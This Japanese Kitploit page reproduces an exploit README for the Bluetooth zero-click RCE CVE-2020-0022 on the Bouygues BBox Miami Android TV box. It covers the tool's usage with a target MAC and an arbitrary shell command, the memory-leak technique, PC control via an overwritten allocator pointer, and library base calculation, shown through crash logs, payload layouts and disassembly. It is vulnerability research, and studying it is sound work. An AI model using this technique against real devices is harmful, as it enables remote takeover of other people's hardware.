Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-0022 — CVE-2020-0022 脆弱性の悪用(Bouygues BBox Miami、Android TV 8.0 - ARM32 Cortex A9) | Kitploit
ツール/GitHubGitHub/polo35/cve-2020-0022
AndroidセキュリティBluetoothセキュリティメモリフォレンジックエクスプロイトシェルコードリモートアクセスツールペイロード開発バイナリエクスプロイト
GitHubpolo35/cve-2020-0022

CVE-2020-0022

CVE-2020-0022 脆弱性の悪用(Bouygues BBox Miami、Android TV 8.0 - ARM32 Cortex A9)

リポジトリを見る
37135年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

########################################################################################

Bouygues BBox Miami における CVE-2020-0022 脆弱性の悪用 Android TV 8.0 - ARM32 Cortex A9 Polo35 作 - 2020/08/24

########################################################################################

"使用法: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"

########################################################################################

Jan Ruge のスクリプトに基づく CVE-2020-0022 an Android 8.0-9.0 Bluetooth Zero-Click RCE – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/

########################################################################################

はじめにとヒント

########################################################################################

このスクリプトは Python bluetooth モジュールを使用して ACL 接続ハンドルを取得します。 そのため、bluetooth ライブラリと pybluez のインストールが必要です(python2 ではバージョン 0.22、python3 では最新版)。

sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez

シェルコマンドをスクリプトのパラメータとして渡すことができ、そのコマンドは bluetooth デーモンによって system 関数で実行されます。 ROP チェーンが 2 番目のペイロードの最初の 20 バイトを占めるため、シェルコマンドに使用できるのは 104 文字のみです。

例: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"

このスクリプトは adb を使用して接続を確認し、logcat を検査し、必要に応じてターゲットを再起動できます。 そのためには、パラメータとしてターゲット IP を指定する必要があります。 スクリプトを使用する前に、adb connect でターゲットに接続し、シェルを開いて接続を確認してください。

スクリプトが指示したときに、スマートフォンでターゲットに Bluetooth 接続することで最良の結果が得られます。 エクスプロイトをトリガーするには 30 回以上の試行が必要な場合もありますが、初回で成功することもあります。

########################################################################################

ARM32 でのメモリリーク

########################################################################################

Bouygues BBox Miami は ARM 32 ビット Cortex A9 プロセッサをベースとしています。 ARM64 との違いは、libc の memcpy 関数がアンダーフローしないため、Jan Ruge と同じリークを得ることが不可能な点です。 しかし、脆弱性は存在し、別の方法で悪用可能です。

4 バイトの断片化を持つ l2cap パケットを送信することで、reassemble_and_dispatch 内で長さ 0 の memcpy をトリガーできます。 これにより、エコーの末尾に 4 バイトの未初期化データを得ることができます。

最初のパケット長(以下 mem_offset と呼ぶ)を増やすことで、未初期化メモリを「歩く」ことができます。 同じ mem_offset で 32 回のエコーを取得すると、2 ~ 8 回の悪用可能なエコーが得られます。 エコーは繰り返されるため、同じ mem_offset で 32 回以上エコーを取得する必要はありません。 この方法では、パケットでメモリを埋めるため、パターンを認識し、リーク内のオフセットを見つけるのが容易です。

mem_offset は l2cap パケットの文字数です。 例: mem_offset 184 = 184 文字の l2cap パケット = 368 バイトの l2cap パケット

繰り返しを含むメモリの「歩行」と未初期化データの例:

176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................

mem_offset 180 と 184 で、リトルエンディアンのメモリアドレスが見られます。

a4ce80a3 はアドレス 0xa380cea4 24d280a3 はアドレス 0xa380d224 a4d580a3 はアドレス 0xa380d5a4 9cce80a3 はアドレス 0xa380ce9c 1cd280a3 はアドレス 0xa380d21c 9cd580a3 はアドレス 0xa380d59c

ほぼすべての再起動後に実際のメモリアドレスを見つけられる mem_offset が少なくとも 4 ~ 5 つ存在します。 それらをどのように使用するかは後述します。

########################################################################################

最初のクラッシュの解析

########################################################################################

2 バイトの断片化を持つ l2cap パケットを送信することで、reassemble_and_dispatch 内で長さ -2 の memcpy をトリガーできます。 これにより、2 番目のパケットからの 30 バイトの制御されたデータで、部分パケットの外側にオーバーフローできます。 30 バイトがコピーされるため、最後の 4 バイトを null にした 32 バイトより大きなパケットを送信する必要はありません。

このオーバーフロー方法は、_Z11list_appendP6list_tPv+65 で制御された R0 レジスタを持つ bluetooth デーモンをクラッシュさせることがあります。

HCI: Found link transmit data buffer queue at 0xab90dbc4 HCI: Found SetDataAdvDataSender function at 0x91875b29 HCI: Found bte_hh_evt function at 0x91818429 HCI: Found bluetooth library base address at 0x917a0000 First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xdead0003 0x10: 0xdead0004 | 0x14: 0xdead0005 | 0x18: 0xdead0006 | 0x1c: 0xdead0007 Second payload: 0x00 : 0xab90db14: 0xdead0008 | 0xab90db18: 0xdead0009 | 0xab90db1c: 0xdead000a | 0xab90db20: 0xdead000b 0x10 : 0xab90db24: 0xdead000c | 0xab90db28: 0xdead000d | 0xab90db2c: 0xdead000e | 0xab90db30: 0xdead000f 0x20 : 0xab90db34: 0xdead0010 | 0xab90db38: 0xdead0011 | 0xab90db3c: 0xdead0012 | 0xab90db40: 0xdead0013 0x30 : 0xab90db44: 0xdead0014 | 0xab90db48: 0xdead0015 | 0xab90db4c: 0xdead0016 | 0xab90db50: 0xdead0017 0x40 : 0xab90db54: 0xdead0018 | 0xab90db58: 0xdead0019 | 0xab90db5c: 0xdead001a | 0xab90db60: 0xdead001b 0x50 : 0xab90db64: 0xdead001c | 0xab90db68: 0xdead001d | 0xab90db6c: 0xdead001e | 0xab90db70: 0xdead001f 0x60 : 0xab90db74: 0xdead0020 | 0xab90db78: 0xdead0021 | 0xab90db7c: 0xdead0022 | 0xab90db80: 0xdead0023 0x70 : 0xab90db84: 0xdead0024 | 0xab90db88: 0xdead0025 | 0xab90db8c: 0xdead0026 | 0xab90db90: 0xdead0027 0x80 : 0xab90db94: 0xdead0028 | 0xab90db98: 0xdead0029 | 0xab90db9c: 0xdead002a | 0xab90dba0: 0xdead002b 0x90 : 0xab90dba4: 0xdead002c | 0xab90dba8: 0xdead002d | 0xab90dbac: 0xdead002e | 0xab90dbb0: 0xdead002f 0xa0 : 0xab90dbb4: 0xdead0030 | 0xab90dbb8: 0xdead0031 | 0xab90dbbc: 0xdead0032 | 0xab90dbc0: 0xdead0033 0xb0 : 0xab90dbc4: 0xdead0034 | 0xab90dbc8: 0xdead0035 ADB: Found interesting crash !!! libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0003 in tid 3918 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 3871, tid: 3918, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0003 DEBUG : r0 dead0003 r1 90d13e00 r2 90d13e00 r3 00000000 DEBUG : r4 ab9059f8 r5 90d13e00 r6 00000000 r7 00000000 DEBUG : r8 00000000 r9 904df340 sl 904df338 fp 00000001 DEBUG : ip acf310ec sp 904defd8 lr 918a3131 pc 918c98e2 cpsr a00f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 001298e2 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+65) DEBUG : #01 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #02 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) DEBUG : #03 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) DEBUG : #04 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) DEBUG : #05 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #06 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #07 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #08 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #09 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #10 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

001298e2 での逆アセンブリ:

.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => R0 を R4+0x10 から読み込み .text:0x1298E2 LDR R1, [R0] => R1 を R0 から読み込み => 制御されていない場合はクラッシュ!!! .text:0x1298E4 MOVS R0, #8 => R0 に 8 を設定 .text:0x1298E6 BLX R1 => R1 にリンクして分岐 (交換あり) => 制御された R1 に分岐

逆コンパイルにより、R4+0x10 のアドレスのメモリを上書きしていることが示されます。これは、呼び出し "node = list->allocator->alloc(8)" 内のアロケータです。

signed int list_append(list_t *list_ptr, void *data_ptr) { list_t *list = list_ptr; // r4 ... list_node_t node = (list_node_t)list->allocator->alloc(sizeof(list_node_t)); <= list = r4 / allocator = offset 0x10 / alloc = r1 / 8 = r0 / CRASH !!! ... node->data = data_ptr; // r5 ... }

デーモンは、アドレスをロードしようとして R0 レジスタ = dead0003 で LDR R1, [R0] でクラッシュしました。 最初のペイロード + 0xC で R0 を制御できるため、有効なアドレスをそこに配置すれば、LDR R1, [R0] で R1 を制御し、続いて BLX R1 で PC を制御できます。

########################################################################################

リークされたアドレスをオーバーフローしてプログラムカウンタを制御

########################################################################################

mem_offset 180 で最初に見つかったメモリアドレスを使用したオーバーフロー方法により、制御された R1 レジスタへの分岐にクラッシュを移動できます。

HCI: Got ACL connection handle: 0xb
HCI: Getting link transmit data buffer queue pointer... HCI: Found link transmit data buffer queue at 0xa458dbc4 HCI: Getting bluetooth library function pointers... HCI: Found SetDataAdvDataSender function at 0x8a4a3b29 HCI: Found bluetooth library base address at 0x8a3ce000 Building the payloads... First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xa458dbc4 0x10: 0xdead0003 | 0x14: 0xdead0004 | 0x18: 0xdead0005 | 0x1c: 0xdead0006 Second payload: 0x00 : 0xa458dbc4: 0xdead0007 | 0xa458dbc8: 0xdead0008 | 0xa458dbcc: 0xdead0009 | 0xa458dbd0: 0xdead000a 0x10 : 0xa458dbd4: 0xdead000b | 0xa458dbd8: 0xdead000c | 0xa458dbdc: 0xdead000d | 0xa458dbe0: 0xdead000e 0x20 : 0xa458dbe4: 0xdead000f | 0xa458dbe8: 0xdead0010 | 0xa458dbec: 0xdead0011 | 0xa458dbf0: 0xdead0012 0x30 : 0xa458dbf4: 0xdead0013 | 0xa458dbf8: 0xdead0014 | 0xa458dbfc: 0xdead0015 | 0xa458dc00: 0xdead0016 0x40 : 0xa458dc04: 0xdead0017 | 0xa458dc08: 0xdead0018 | 0xa458dc0c: 0xdead0019 | 0xa458dc10: 0xdead001a 0x50 : 0xa458dc14: 0xdead001b | 0xa458dc18: 0xdead001c | 0xa458dc1c: 0xdead001d | 0xa458dc20: 0xdead001e 0x60 : 0xa458dc24: 0xdead001f | 0xa458dc28: 0xdead0020 | 0xa458dc2c: 0xdead0021 | 0xa458dc30: 0xdead0022 0x70 : 0xa458dc34: 0xdead0023 | 0xa458dc38: 0xdead0024 | 0xa458dc3c: 0xdead0025 | 0xa458dc40: 0xdead0026 0x80 : 0xa458dc44: 0xdead0027 | 0xa458dc48: 0xdead0028 | 0xa458dc4c: 0xdead0029 | 0xa458dc50: 0xdead002a 0x90 : 0xa458dc54: 0xdead002b | 0xa458dc58: 0xdead002c | 0xa458dc5c: 0xdead002d | 0xa458dc60: 0xdead002e 0xa0 : 0xa458dc64: 0xdead002f | 0xa458dc68: 0xdead0030 | 0xa458dc6c: 0xdead0031 | 0xa458dc70: 0xdead0032 0xb0 : 0xa458dc74: 0xdead0033 | 0xa458dc78: 0xdead0034 Prepare to connect to the target via bluetooth with your smartphone HCI: Spraying second payload at 0xa458dbc4 Connect to the target via bluetooth with your smartphone
HCI: Triggering the exploit with first payload... (1/3) ADB: Bluetooth deamon crashed (3/20)
ADB: Found interesting crash !!! 07-20 09:28:01.020 20972 21006 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0032 in tid 21006 (bt_workqueue) 07-20 09:28:01.123 21061 21061 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 07-20 09:28:01.123 21061 21061 F DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' 07-20 09:28:01.123 21061 21061 F DEBUG : Revision: '0' 07-20 09:28:01.123 21061 21061 F DEBUG : ABI: 'arm' 07-20 09:28:01.123 21061 21061 F DEBUG : pid: 20972, tid: 21006, name: bt_workqueue >>> com.android.bluetooth <<< 07-20 09:28:01.123 21061 21061 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0032 07-20 09:28:01.123 21061 21061 F DEBUG : r0 00000008 r1 dead0033 r2 8970a200 r3 00000000 07-20 09:28:01.123 21061 21061 F DEBUG : r4 a4585c38 r5 8970a200 r6 00000000 r7 00000000 07-20 09:28:01.123 21061 21061 F DEBUG : r8 00000000 r9 891fd340 sl 891fd338 fp 00000001 07-20 09:28:01.124 21061 21061 F DEBUG : ip a66aa0ec sp 891fcfd8 lr 8a4f78e9 pc dead0032 cpsr 200f0030 07-20 09:28:01.228 21061 21061 F DEBUG : 07-20 09:28:01.228 21061 21061 F DEBUG : backtrace: 07-20 09:28:01.228 21061 21061 F DEBUG : #00 pc dead0032 07-20 09:28:01.229 21061 21061 F DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) 07-20 09:28:01.229 21061 21061 F DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) 07-20 09:28:01.229 21061 21061 F DEBUG : #03 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) 07-20 09:28:01.229 21061 21061 F DEBUG : #04 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) 07-20 09:28:01.229 21061 21061 F DEBUG : #05 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) 07-20 09:28:01.229 21061 21061 F DEBUG : #06 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) 07-20 09:28:01.229 21061 21061 F DEBUG : #07 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) 07-20 09:28:01.229 21061 21061 F DEBUG : #08 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) 07-20 09:28:01.229 21061 21061 F DEBUG : #09 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) 07-20 09:28:01.229 21061 21061 F DEBUG : #10 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) 07-20 09:28:01.229 21061 21061 F DEBUG : #11 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

001298e7 での同じ逆アセンブリ:

.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => R0 を R4+0x10 から読み込み .text:0x1298E2 LDR R1, [R0] => R1 を R0 から読み込み => 制御されていない場合はクラッシュ .text:0x1298E4 MOVS R0, #8 => R0 に 8 を設定 .text:0x1298E6 BLX R1 => R1 にリンクして分岐 (交換あり) => 制御された R1 に分岐 !!! .text:0x1298E8 MOV R1, R0

デーモンは現在、BLX R1 で R1 レジスタ = dead0033 でクラッシュしています。 これは、mem_offset 184 でリークを取得したときに断片化パケットで送信されたパターンです。 これは、mem_offset 180 で見つかった最初のメモリアドレスから - 0xb0 のオフセットにある既知のアドレスを持つ 2 番目のペイロードになります。

これで、bluetooth.marvellberlin.so ライブラリの PC を制御できるようになり、データを含むメモリ内の別の場所が存在し、そのアドレスもわかっています。

シグナル後のレジスタ:

  • R0 = 0x8
  • R1 = 2 番目のペイロードの値 + 0xb0
  • R4 = 最初のペイロードのアドレス - 0x4

########################################################################################

Bluetooth ライブラリのベースアドレスを取得する

########################################################################################

mem_offset 28 でのリーク方法を使用して、いくつかのメモリアドレスを見つけることができます:0026 : 00002954 74007400 74006600 58a9292b 74006600 74007400 72002e00 58a9292b 00002954 70007000 74007400 58a9292b 74006600 74007400 74006600 58a9292b : ..)Tt.t.t.f.X.)+t.f.t.t.r...X.)+..)Tp.p.t.t.X.)+t.f.t.t.t.f.X.)+ 0027 : 0029546c 00740066 002e0074 a9292b72 00660000 00700066 00740066 a9292b72 0029546c 00740066 00660066 a9292b72 00660000 00740066 002e0074 a9292b72 : .)Tl.t.f...t.)+r.f...p.f.t.f.)+r.)Tl.t.f.f.f.)+r.f...t.f...t.)+r 0028 : 29546c8f 70006600 74006600 292b728f 66000000 74006600 66006600 292b728f 29546c8f 74006600 2e007400 292b728f 66000000 70006600 74006600 292b728f : )Tl.p.f.t.f.)+r.f...t.f.f.f.)+r.)Tl.t.f...t.)+r.f...p.f.t.f.)+r. 0029 : 00660066 00660000 2b728f01 00000000 00660000 00740074 2b728f01 00660066 00660000 00660066 2b728f01 00000000 00660000 00660000 2b728f01 00740074 : .f.f.f..+r.......f...t.t+r...f.f.f...f.f+r.......f...f..+r...t.t 0030 : 66006600 66000000 728f0100 00000000 66000000 66006600 728f0100 74007400 66006600 66000000 728f0100 00000000 66000000 66000000 728f0100 74007400 : f.f.f...r.......f...f.f.r...t.t.f.f.f...r.......f...f...r...t.t.

リーク 29546c8f と 292b728f が確認でき、これらはリトルエンディアンでアドレス 0x8f6c5429 と 0x8f722b29 になります。

これらのアドレスを使用したオーバーフロー手法により、bluetooth.marvellberlin.so 内のデーモンが以下のクラッシュダンプでクラッシュします:

libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x10 in tid 4151 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 4107, tid: 4151, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x10 DEBUG : Cause: null pointer dereference DEBUG : r0 00000008 r1 8c35db29 r2 8b006300 r3 00000020 DEBUG : r4 a6405578 r5 8b006300 r6 00000020 r7 ff183456 DEBUG : r8 a6405560 r9 00000006 sl 00000002 fp 8affef70 DEBUG : ip 00001e7e sp 8affef60 lr 8c3b18e9 pc 8c35db3c cpsr 200f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 000d5b3c /system/vendor/lib/hw/bluetooth.marvellberlin.so (ZN4base8internal7InvokerINS0_9BindStateIMN12_GLOBAL__N_125BleAdvertisingManagerImplEFvhhhhPhNS_8CallbackIFvhELNS0_8CopyModeE1EEEEJNS0_17UnretainedWrapperIS4_EEbEEEFvhhhS5_S9_EE3RunEPNS0_13BindStateBaseEOhSJ_SJ_OS5_OS9+19) DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #03 pc 0010477f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z16l2c_rcv_acl_dataP6BT_HDR+2190) DEBUG : #04 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #05 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #06 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #07 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #08 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #09 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

bluetooth.marvellberlin.so ライブラリの .text セクションのオフセット 000d5b3c に到達しました。

.text:0x0D5B28 SetDataAdvDataSender ; DATA XREF: .text:0x0D2B82↑o .text:0x0D5B28 .text:0x0D5B28 PUSH.W {R4-R11,LR} .text:0x0D5B2C SUB SP, SP, #0x1C .text:0x0D5B2E LDR R7, =(off_1A2718 - 0xD5B38) .text:0x0D5B30 ADD.W R11, SP, #0x10 .text:0x0D5B34 ADD R7, PC ; off_1A2718 .text:0x0D5B36 LDR R7, [R7] .text:0x0D5B38 LDR R7, [R7] .text:0x0D5B3A STR R7, [SP,#0x1C-4] .text:0x0D5B3C LDRD.W R10, R7, [R0,#8]

クラッシュは関数の開始直後の 0xd5b3c で発生しているため、見つかったアドレスはこの関数へのポインタです。 この関数はクラス BleAdvertisingManagerImpl の SetDataAdvDataSender であり、btm_ble_multi_adv.cc ファイルの SetData 関数でポインタとして使用されています。

void SetData(uint8_t inst_id, bool is_scan_rsp, std::vector<uint8_t> data, MultiAdvCb cb) override { ... DivideAndSendData(inst_id, data, cb, base::Bind(&BleAdvertisingManagerImpl::SetDataAdvDataSender, base::Unretained(this), is_scan_rsp)); }

これで、bluetooth.marvellberlin.so ライブラリ内の固定位置のアドレスが得られ、このライブラリのベースアドレスを計算できます。 SetDataAdvDataSender 関数へのポインタ(mem_offset 28 で見つかった)からの、ライブラリベースアドレスへの実際のオフセットは 0XD5B29 です。

上記の例では、SetDataAdvDataSender 関数を 0X8C35DB29 で見つけ、このアドレスをオーバーフローさせました。 bluetooth ライブラリのベースアドレスは 0X8C35DB29 - 0XD5B29 = 0X8C288000 でした。

また、同じリークの mem_offset 28 で 0x8C300429 へのポインタも見つけました。 2 つの見つかったアドレスの差は 0x8C35DB29 - 0x8C300429 = 0x5D700 です。 SetDataAdvDataSender が bluetooth ライブラリ内の 0xD5B28 にあることがわかっているので、2 番目に見つかったポインタのアドレスを計算できます: 0xD5B28 - 0x5D700 = 0x78428 bluetooth ライブラリ内の 0x78428 には関数 bte_hh_evt があり、これは btif_hh.cc ファイルの btif_hh_service_registration および btif_hh_execute_service 関数で使用されています。

void btif_hh_service_registration(bool enable) { ... BTA_HhEnable(BTA_SEC_ENCRYPT, bte_hh_evt); ... }

bt_status_t btif_hh_execute_service(bool b_enable) { ... BTA_HhEnable(BTUI_HH_SECURITY, bte_hh_evt); ... }

mem_offset 28 で見つかった 2 つのアドレスは、常に SetDataAdvDataSender 関数では 0xB29 で終わり、bte_hh_evt 関数では 0x429 で終わります。 この方法では、リーク内の 2 つの既知のアドレスのうち 1 つだけを使用して、bluetooth のベースアドレスを見つけることができます。

まとめると、次のように bluetooth ライブラリのベースアドレスを見つけることができます:

  • 0xB29 で終わる SetDataAdvDataSender 関数アドレスが見つかった場合 => オフセット 0xD5B28 を適用
  • 0x429 で終わる bte_hh_evt 関数アドレスが見つかった場合 => オフセット 0x78429 を適用

########################################################################################

ANDROID ソースコードによるクラッシュ解析

########################################################################################

Android Oreo 8.1 のソースコードは、リンク送信データバッファキューオブジェクト p_lcb->link_xmit_data_q の一部を上書きしていることを示しています。

l2c_rcv_acl_data 関数は tL2C_LCB* p_lcb オブジェクトを作成し、それを l2c_link_check_send_pkts 関数に渡します。この関数はパケットを link_xmit_data_q バッファキューに追加します。

void l2c_rcv_acl_data(BT_HDR* p_msg) { ... tL2C_LCB* p_lcb; ... /* ハンドルに基づいて LCB を見つける / p_lcb = l2cu_find_lcb_by_handle(handle); ... / チャネルステートマシンを通してデータを送信 */ if (rcv_cid == L2CAP_SIGNALLING_CID) { process_l2cap_cmd(p_lcb, p, l2cap_len); ... }

tL2C_LCB* l2cu_find_lcb_by_handle(uint16_t handle) { ... tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];

for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) { if ((p_lcb->in_use) && (p_lcb->handle == handle)) { return (p_lcb); } } ... }

p_lcb は、l2c_main.cc で定義されている静的オブジェクト l2cb.lcb_pool[0] から取得されます。

// / G L O B A L L 2 C A P D A T A / // tL2C_CB l2cb;

static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) { ... case L2CAP_CMD_ECHO_REQ: l2cu_send_peer_echo_rsp(p_lcb, id, p, cmd_len); ... }

void l2cu_send_peer_echo_rsp(tL2C_LCB* p_lcb, uint8_t id, uint8_t* p_data, uint16_t data_len) { ... p_buf = l2cu_build_header(p_lcb, (uint16_t)(L2CAP_ECHO_RSP_LEN + data_len), L2CAP_CMD_ECHO_RSP, id); ... l2c_link_check_send_pkts(p_lcb, NULL, p_buf); }

void l2c_link_check_send_pkts(tL2C_LCB* p_lcb, tL2C_CCB* p_ccb, BT_HDR* p_buf) { ... list_append(p_lcb->link_xmit_data_q, p_buf); ... }

bool list_append(list_t* list, void* data) { ... list_node_t* node = (list_node_t*)list->allocator->alloc(sizeof(list_node_t)); => alloc の呼び出しが私たちの呼び出しに置き換えられます (引数 1 つだけ!!!) ... }

tL2C_LCB 構造体における link_xmit_data_q の定義:

/* リンク制御ブロックを定義します。このデバイスと他のデバイス (つまり BD ADDR) の間に

  • 1 つのリンク制御ブロックが存在します。 / typedef struct t_l2c_linkcb { ... list_t link_xmit_data_q; /* リンク送信データバッファキュー */ | サイズ 0x4 | オフセット 0x44 ... } tL2C_LCB;

list_t 構造体の定義:

typedef struct list_t { list_node_t* head; | サイズ 0x4 | オフセット 0x0 list_node_t* tail; | サイズ 0x4 | オフセット 0x4 size_t length; | サイズ 0x4 | オフセット 0x8 list_free_cb free_cb; | サイズ 0x4 | オフセット 0xC const allocator_t* allocator; | サイズ 0x4 | オフセット 0x10 } list_t; | サイズ 0x14

list_node_t 構造体:

struct list_node_t {
struct list_node_t* next; | サイズ 0x4 | オフセット 0x0 void* data; | サイズ 0x4 | オフセット 0x4 }; | サイズ 0x8

そして allocator_t 構造体:

typedef struct {
